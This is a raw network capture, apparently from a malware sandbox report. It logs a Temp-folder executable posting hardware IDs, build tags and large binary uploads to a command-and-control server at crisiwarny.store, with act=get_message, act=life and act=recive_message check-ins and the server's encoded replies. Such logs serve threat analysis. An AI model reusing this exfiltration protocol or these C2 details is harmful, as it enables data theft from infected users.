2024-10-26 03:55:45 UTC	1369	IN	Data Raw: 77 61 6f 62 54 71 71 53 54 76 78 4f 56 55 49 42 58 4e 4a 4b 73 37 51 53 52 64 36 45 4d 46 50 53 31 51 39 4e 37 61 34 36 6a 30 65 49 70 55 6f 56 7a 64 41 52 74 42 6c 57 51 68 64 63 6b 77 6e 35 39 6c 6f 47 7a 4a 59 33 4e 62 79 70 55 78 36 37 2f 6e 71 66 64 73 32 6f 44 55 50 44 79 45 79 36 41 58 31 43 42 31 7a 72 52 4b 76 38 48 46 32 61 6f 48 4d 46 6a 49 42 43 43 66 50 58 62 64 74 64 77 61 78 49 4c 59 61 63 52 4c 6f 58 42 41 51 50 52 49 52 45 71 2b 42 4e 52 59 4c 46 49 6c 44 58 31 41 4e 49 37 4f 59 6b 78 42 6a 51 2f 46 4a 52 77 38 68 52 75 67 45 45 52 55 77 4f 78 67 7a 6f 38 6c 39 43 35 4b 74 7a 48 59 2b 49 58 78 6d 41 78 30 54 51 57 63 57 79 53 44 4b 62 68 56 50 35 58 45 4d 38 63 52 4c 54 48 75 7a 71 57 67 57 61 32 7a 41 45 77 74 39 74 57 50 61 35 56 5a 4d Data Ascii: waobTqqSTvxOVUIBXNJKs7QSRd6EMFPS1Q9N7a46j0eIpUoVzdARtBlWQhdckwn59loGzJY3NbypUx67/nqfds2oDUPDyEy6AX1CB1zrRKv8HF2aoHMFjIBCCfPXbdtdwaxILYacRLoXBAQPRIREq+BNRYLFIlDX1ANI7OYkxBjQ/FJRw8hRugEERUwOxgzo8l9C5KtzHY+IXxmAx0TQWcWySDKbhVP5XEM8cRLTHuzqWgWa2zAEwt9tWPa5VZM
2024-10-26 03:55:45 UTC	1369	IN	Data Raw: 56 62 65 33 78 4f 6f 52 67 6f 62 44 77 71 55 55 72 6d 71 48 42 65 61 7a 54 42 4d 67 5a 56 47 48 72 33 76 61 5a 70 6d 2b 4a 73 45 42 49 79 65 55 2f 64 56 5a 51 46 65 46 75 6f 30 2f 75 64 53 43 39 32 44 59 55 76 4d 78 31 74 59 35 73 41 71 6c 52 6a 35 38 6b 6f 62 7a 64 41 44 7a 31 70 4b 44 45 67 4b 78 55 66 4d 36 6c 73 45 7a 49 56 39 42 36 4f 45 52 52 4c 2b 74 79 72 62 47 4a 37 75 52 45 4f 4a 6d 51 4f 69 43 52 5a 5a 47 6b 2b 44 57 72 6e 37 45 68 79 61 67 7a 42 54 30 4d 6b 55 43 76 36 68 4b 70 70 62 31 4b 34 4d 41 4a 75 4c 42 4d 52 6e 59 52 56 4d 44 4e 49 4a 31 64 70 33 43 64 79 53 61 67 79 45 6f 58 52 59 38 4c 6c 6c 6e 51 44 2f 2f 45 4a 44 73 73 59 44 34 68 6b 63 51 6e 6f 66 32 67 54 73 38 6b 31 49 2f 34 4a 7a 47 34 53 45 46 46 62 2b 2f 79 71 46 43 49 6a 38 Data Ascii: Vbe3xOoRgobDwqUUrmqHBeazTBMgZVGHr3vaZpm+JsEBIyeU/dVZQFeFuo0/udSC92DYUvMx1tY5sAqlRj58kobzdADz1pKDEgKxUfM6lsEzIV9B6OERRL+tyrbGJ7uREOJmQOiCRZZGk+DWrn7EhyagzBT0MkUCv6hKppb1K4MAJuLBMRnYRVMDNIJ1dp3CdySagyEoXRY8LllnQD//EJDssYD4hkcQnof2gTs8k1I/4JzG4SEFFb+/yqFCIj8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	50017	104.21.95.91	443	1340	C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 03:55:46 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18168 Host: crisiwarny.store
2024-10-26 03:55:46 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 32 34 41 46 35 30 31 33 35 41 31 41 31 32 32 34 44 34 36 41 38 33 44 31 46 46 30 44 41 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"A24AF50135A1A1224D46A83D1FF0DA84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-26 03:55:46 UTC	2837	OUT	Data Raw: bb b9 8c 98 dd 7e cd 12 32 f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 Data Ascii: ~2MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3
2024-10-26 03:55:47 UTC	1010	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 03:55:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=g0sk6ufjoq6ga1ebmu6g44qt30; expires=Tue, 18 Feb 2025 21:42:26 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DGaqQ7D9Gb%2BYTPUmQPFODoMF38wYvflqoEy74%2B6cPtWJYsmDk3pIYGMzetoyZzwhjbvxj%2BucjKRY2TZBfLrlsgRbWcp26osfy417Xgn7cLcJ0icsuQ9KQ9wxU3wLmpzK5qLp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8783435ec9d104-CDG alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=116634&sent=11&recv=21&lost=0&retrans=0&sent_bytes=2839&recv_bytes=19130&delivery_rate=24836&cwnd=32&unsent_bytes=0&cid=0dcd73550b4ba3b9&ts=582&x=0"
2024-10-26 03:55:47 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-10-26 03:55:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	50020	104.21.95.91	443	1420	C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 03:55:47 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: crisiwarny.store
2024-10-26 03:55:47 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 41 32 34 41 46 35 30 31 33 35 41 31 41 31 32 32 34 44 34 36 41 38 33 44 31 46 46 30 44 41 38 34 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=A24AF50135A1A1224D46A83D1FF0DA84
2024-10-26 03:55:47 UTC	1004	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 03:55:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=e6uilfvlc3qsre3dvc5i2u50em; expires=Tue, 18 Feb 2025 21:42:26 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ELDro9ayWKw3Ee4T2s4oTTb3k2sGuYKfI7bK5h58QN%2FaicHPxjsEF9PB3IrHXEeAgKgMMZH42DHWBWEGipIyMWuHtvAIYW%2B1AQxFSOvurYnuIuiFCluRop9Cv9pFAgwF8wss"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d878344ce45bb4b-CDG alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=117010&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2838&recv_bytes=987&delivery_rate=24741&cwnd=32&unsent_bytes=0&cid=81b27aea422530a1&ts=440&x=0"
2024-10-26 03:55:47 UTC	299	IN	Data Raw: 31 32 34 0d 0a 32 68 33 45 65 61 6b 47 51 48 46 63 44 77 36 53 56 42 44 34 4a 63 45 47 61 6f 68 68 55 72 66 36 65 66 69 47 77 71 33 49 72 56 53 42 5a 75 59 4d 69 7a 78 69 47 53 68 37 66 71 67 49 50 36 51 4b 38 44 35 66 70 6c 4e 6a 67 74 52 49 79 62 58 73 6e 50 37 78 65 37 64 30 71 68 7a 31 4b 54 49 51 4d 6d 74 68 2f 33 70 31 67 45 44 6a 4b 6b 6a 75 46 58 43 4e 79 6c 58 61 34 2b 43 58 2b 4e 42 34 6f 54 2b 78 57 35 4d 6b 4b 41 55 6f 66 7a 54 4f 65 30 7a 58 46 50 6b 7a 52 4c 70 51 5a 35 6e 4c 53 4d 75 6f 38 35 75 55 67 69 65 75 65 4b 55 55 39 53 6b 79 45 44 4a 72 59 66 39 36 64 59 42 41 34 79 70 49 37 68 56 77 6a 63 70 56 32 75 50 67 6c 2f 6a 51 65 4b 45 2f 73 56 75 54 4a 43 67 46 4b 48 38 30 7a 6e 74 4d 31 78 54 35 4d 30 53 36 55 47 65 5a 79 30 6a 4c 71 50 Data Ascii: 1242h3EeakGQHFcDw6SVBD4JcEGaohhUrf6efiGwq3IrVSBZuYMizxiGSh7fqgIP6QK8D5fplNjgtRIybXsnP7xe7d0qhz1KTIQMmth/3p1gEDjKkjuFXCNylXa4+CX+NB4oT+xW5MkKAUofzTOe0zXFPkzRLpQZ5nLSMuo85uUgieueKUU9SkyEDJrYf96dYBA4ypI7hVwjcpV2uPgl/jQeKE/sVuTJCgFKH80zntM1xT5M0S6UGeZy0jLqP
2024-10-26 03:55:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	50032	104.21.95.91	443	1340	C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 03:55:49 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8789 Host: crisiwarny.store
2024-10-26 03:55:49 UTC	8789	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 32 34 41 46 35 30 31 33 35 41 31 41 31 32 32 34 44 34 36 41 38 33 44 31 46 46 30 44 41 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"A24AF50135A1A1224D46A83D1FF0DA84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-26 03:55:50 UTC	1014	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 03:55:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hhc9v6roos8nagajb80q8hh4t2; expires=Tue, 18 Feb 2025 21:42:29 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CUJqL9CeKQ0qjSwvcYppp38b3j%2F8b0apOwIXNaEZHBZ%2Fom62mAOjlfGcBvs4%2BKfOI3w6VGili103zIUis5HD%2F4nYwLcp5ZFE%2Fq1Tof%2FnUy6Rma7P5qwjbCmKuYZwsKGKVgml"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d878354da7e9478-LHR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=108407&sent=8&recv=15&lost=0&retrans=0&sent_bytes=2837&recv_bytes=9728&delivery_rate=26670&cwnd=32&unsent_bytes=0&cid=152d753de6293fb7&ts=476&x=0"
2024-10-26 03:55:50 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-10-26 03:55:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	50033	104.21.95.91	443	5744	C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 03:55:50 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: crisiwarny.store
2024-10-26 03:55:50 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-26 03:55:51 UTC	1008	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 03:55:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2rlp5k0fqs74chtselan5cujek; expires=Tue, 18 Feb 2025 21:42:29 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xZo9OXjCVCT68QSxlPBhClKGNFaUzW4N%2FYgLmiTBe01%2FIu3bikXIiAZ48xwJoXc%2B3JV4M0W2HT90UOua4a7219MFtPN9Q%2FYMtEjqTdDScW0A0hDTlep86cVXRm1kCRVUXrEb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d87835afd7ed6c6-CDG alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=117773&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2838&recv_bytes=907&delivery_rate=24730&cwnd=32&unsent_bytes=0&cid=c7cce914abab049b&ts=442&x=0"
2024-10-26 03:55:51 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-26 03:55:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	50034	104.21.95.91	443	1340	C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 03:55:51 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20442 Host: crisiwarny.store
2024-10-26 03:55:51 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 32 34 41 46 35 30 31 33 35 41 31 41 31 32 32 34 44 34 36 41 38 33 44 31 46 46 30 44 41 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"A24AF50135A1A1224D46A83D1FF0DA84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-26 03:55:51 UTC	5111	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 Data Ascii: `M?lrQMn 64F6(X&7~`
2024-10-26 03:55:52 UTC	1014	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 03:55:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=refsgkcus6q1jso9qn9u43gs7t; expires=Tue, 18 Feb 2025 21:42:30 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8AxG%2FgVC1ziWh60xI5jdZ9fDPjn4jbYpK56%2B05kUnIzr%2B8n9FsYrPos2MLu2%2BsjKAXtZkM%2BEzVvwMNPxsXPnnaFpMMxDDRkmCaFHkRi4aoDhWlOQADfbjXlxGnDE9oDTO3EQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d87835fef44d0d1-AMS alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=122790&sent=11&recv=22&lost=0&retrans=0&sent_bytes=2837&recv_bytes=21404&delivery_rate=23566&cwnd=32&unsent_bytes=0&cid=5221ac5bf9fbc2de&ts=614&x=0"
2024-10-26 03:55:52 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-10-26 03:55:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	50035	104.21.95.91	443	5744	C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 03:55:52 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: crisiwarny.store
2024-10-26 03:55:52 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-26 03:55:52 UTC	1008	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 03:55:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=21g6o6aa5g0civp6fa31ouopvo; expires=Tue, 18 Feb 2025 21:42:31 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jcH4M0E3%2FdLIIk2vjMTRMJad%2BkRowuyXfhyKMVpqXhybgTZYo83ukJFHrwClDQhsaAwq2GgrE3suetMprBuXtHotfRiulyWA0rlB42s84xmQeXJ52%2BYTnpc5wS7pnet6Vz%2Bt"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8783632c2371c3-LHR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=104630&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2838&recv_bytes=952&delivery_rate=27667&cwnd=32&unsent_bytes=0&cid=20c6533f060449db&ts=430&x=0"
2024-10-26 03:55:52 UTC	361	IN	Data Raw: 34 64 64 0d 0a 64 34 33 49 6e 2f 50 69 4b 32 65 62 58 64 4b 49 38 69 4c 4c 6d 63 63 6f 53 62 71 74 64 39 34 4d 54 5a 44 30 61 39 72 53 2b 69 67 4d 72 37 36 39 79 64 59 48 52 65 67 34 38 4c 4b 47 55 4c 37 38 36 77 6f 6f 33 6f 39 4e 75 47 30 68 34 35 46 48 2b 4b 53 58 43 6b 33 72 71 66 4f 41 68 77 64 46 2f 69 58 77 73 71 6c 5a 36 66 79 70 43 6e 4f 59 79 42 32 38 62 53 48 79 6c 51 43 31 6f 70 5a 4c 48 2b 47 76 39 35 61 42 54 77 62 33 4d 4c 66 74 6c 30 4f 68 39 36 35 46 49 64 65 50 57 2f 78 70 4e 37 4c 4f 53 5a 65 33 6a 6b 6b 36 37 4c 76 30 30 5a 38 48 48 4c 6b 34 76 4b 72 49 41 4b 72 38 70 55 51 76 33 73 59 66 74 6d 51 70 38 35 41 42 71 72 75 63 51 42 2f 76 72 50 61 63 69 46 73 4c 2f 54 65 38 36 35 31 44 36 62 58 6c 54 54 4f 59 6c 31 58 76 58 43 7a 6a 68 78 Data Ascii: 4ddd43In/PiK2ebXdKI8iLLmccoSbqtd94MTZD0a9rS+igMr769ydYHReg48LKGUL786woo3o9NuG0h45FH+KSXCk3rqfOAhwdF/iXwsqlZ6fypCnOYyB28bSHylQC1opZLH+Gv95aBTwb3MLftl0Oh965FIdePW/xpN7LOSZe3jkk67Lv00Z8HHLk4vKrIAKr8pUQv3sYftmQp85ABqrucQB/vrPaciFsL/Te8651D6bXlTTOYl1XvXCzjhx
2024-10-26 03:55:52 UTC	891	IN	Data Raw: 37 34 4a 4c 6f 50 61 6f 53 69 62 53 77 42 61 38 61 53 58 34 6d 51 4f 38 76 5a 56 4d 46 65 2f 71 73 39 47 48 55 55 57 68 66 35 50 76 67 45 65 6c 37 65 64 77 61 38 65 42 44 50 78 70 49 37 4c 4f 53 62 43 31 6d 30 6b 65 34 4b 6e 31 6d 70 4a 4a 46 2f 38 79 74 66 69 57 52 61 66 78 70 6c 67 68 31 73 6b 57 74 57 55 6d 39 35 45 4e 2b 50 37 59 54 51 32 76 38 72 32 77 6a 55 49 4a 38 79 69 77 71 6f 38 4f 73 4c 75 69 52 6d 75 41 6a 78 47 39 61 69 37 32 6d 41 65 38 76 4a 35 45 47 4f 43 73 39 35 47 48 51 77 33 78 50 72 33 68 6e 30 43 73 39 71 46 4d 4a 39 6e 4b 56 66 49 75 4b 4f 72 57 55 66 69 65 6e 30 6b 48 72 5a 2f 2b 6e 34 35 4f 45 37 6b 67 2f 76 50 51 52 36 57 37 2f 51 6f 6c 33 63 41 48 76 58 77 71 2f 49 51 46 76 62 61 56 53 52 76 76 72 2f 71 63 6a 6b 38 43 2b 6a 65 Data Ascii: 74JLoPaoSibSwBa8aSX4mQO8vZVMFe/qs9GHUUWhf5PvgEel7edwa8eBDPxpI7LOSbC1m0ke4Kn1mpJJF/8ytfiWRafxplgh1skWtWUm95EN+P7YTQ2v8r2wjUIJ8yiwqo8OsLuiRmuAjxG9ai72mAe8vJ5EGOCs95GHQw3xPr3hn0Cs9qFMJ9nKVfIuKOrWUfien0kHrZ/+n45OE7kg/vPQR6W7/Qol3cAHvXwq/IQFvbaVSRvvr/qcjk8C+je
